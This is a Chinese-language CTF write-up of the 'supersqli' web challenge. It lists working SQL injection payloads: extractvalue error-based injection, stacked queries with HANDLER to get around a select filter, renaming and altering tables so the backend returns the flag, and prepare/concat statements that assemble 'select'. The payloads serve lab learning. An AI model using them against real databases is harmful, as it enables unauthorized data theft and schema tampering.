这是一道web方向的sql注入的题目,通过借鉴各位大佬的博客,我给大家分享我学到的几种方法。
查询 “1” 的时候,会有回显
使用单引号闭合,尝试 “1' and 1 = 2#” (#会将后面的语句注释掉) , 发现无回显
仅使用单引号注入发现会报sql语法错误,但是发现有回显信息,这样我们就可以使用注入了
第一种:extractvalue(报错注入)
在这里跟大家分享一下,报错注入的话有两种方法,一个是updatexml,另一个是extractvalue
注入的语法分别是 “updatexml(1, concat(0x7e,database(),0x7e),1)” 和 “extractvalue(1,concat(0x7e,database())” (0x7e可以在mysql里被解读为符号"~",也可以直接用"~")
(我只是举个例子,具体的诸如内容要根据实际情况判定,也可以在另外学习其用法mysql对xml提供支持的两个函数extractvalue updatexml_我多么希望明天有太阳,来灼烧我腐烂的梦想-CSDN博客https://blog.csdn.net/airuozhaoyang/article/details/47036923)
当我们直接尝试“ 1' and updatexml() ”时,会显示我们不能使用("/select|update|delete|drop|insert|where|\./i",$inject)这些语句来查询(为防止遗忘,我们可以讲这些记录在某个文档里)
于是我就采用了extractvalue
1' and extractvalue(1,concat(0x7e,database()))#
得到了数据库的名字“supersqli”
“select被过滤了,如何绕过呢?”
handler语法:让我们一行一行浏览一个表的数据(mysql的专用语句,其他sql语言无) 可以在下面这个链接里学一下mysql查询语句-handler_jesseyoung-CSDN博客https://blog.csdn.net/JesseYoung/article/details/40785137例:
handler users open as hd;#载入指定的数据表“users”并返回句柄“hd”
handler hd read first;#读取数据表首行
handler hd read next;#读取下一行
handler hd close;#关闭句柄
这样的话,我们就能进行下一步的题,这里我用的是“ show tables ”显示数据库里面数据表的名字。如果直接使用
1'; use supersqli;show tables;#
查询,查询之后我们会得到如下结果,两个table
接下来我们要做的是什么呢?就是查看这些表里面的字段,于是我就尝试了
1';show columns from `1919810931114514` ;#
注意这里使用sql语句查询数据表时,要使用返单引号“ ` ”。这里我们就很高兴啊,得到了一个名字为“flag”的column;
于是我直接用刚才提到的handler语句
1';use supersqli;handler `1919810931114514` open;handler `1919810931114514` read first;#
直接得出我们的flag
第二种:rename 字段
第一种方法我们主要是用handler绕过了select的过滤。
跟刚才一样,我们还有一个数据表的名字叫“words”;于是
1';show columns from `words`;#
萌生一种大胆的想法,后端执行的语句为
select * from words where id = '$id';
我们就可以把表“words”改名为其他的,而将“1919810931114514”改名为“words”,这样就能让那个后台直接从表“1919810931114514”里查询;于是乎
1';
rename table `words` to `words1`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;#
成功rename之后,我便可以直接只用单引号闭合的方法直接查取到flag
1' or 1=1#
第三种方法:mysql的预处理与字符串拼接
先了解一下知识MySQL的SQL预处理(Prepared) - GeaoZhang - 博客园https://www.cnblogs.com/geaozhang/p/9891338.html还是前面的我们已经知道数据表“1919810931114514”里已经有了flag字段,为了绕过select我选择这样注入
1';prepare s from concat('s','elect','*from `1919810931114514`');
execute s;#
就能得到flag
其实还有第四种方法可以绕过select;就是“table”语句,直接table + 表名MySQL8.0 新增 DML 语句(TABLE & VALUES) - 技术分享 - 新闻资讯 - 爱可生https://www.actionsky.com/2777.html但是在这道题里好像用不了,要求是MySQL8.0以上的版本。
以上就是给大家分享的全部内容了,主要是师从于大佬Y1ng,如果有什么问题希望可以与大家一起讨论,一起进步!!
颖奇L'Amore – WEB SECURITYhttps://www.gem-love.com/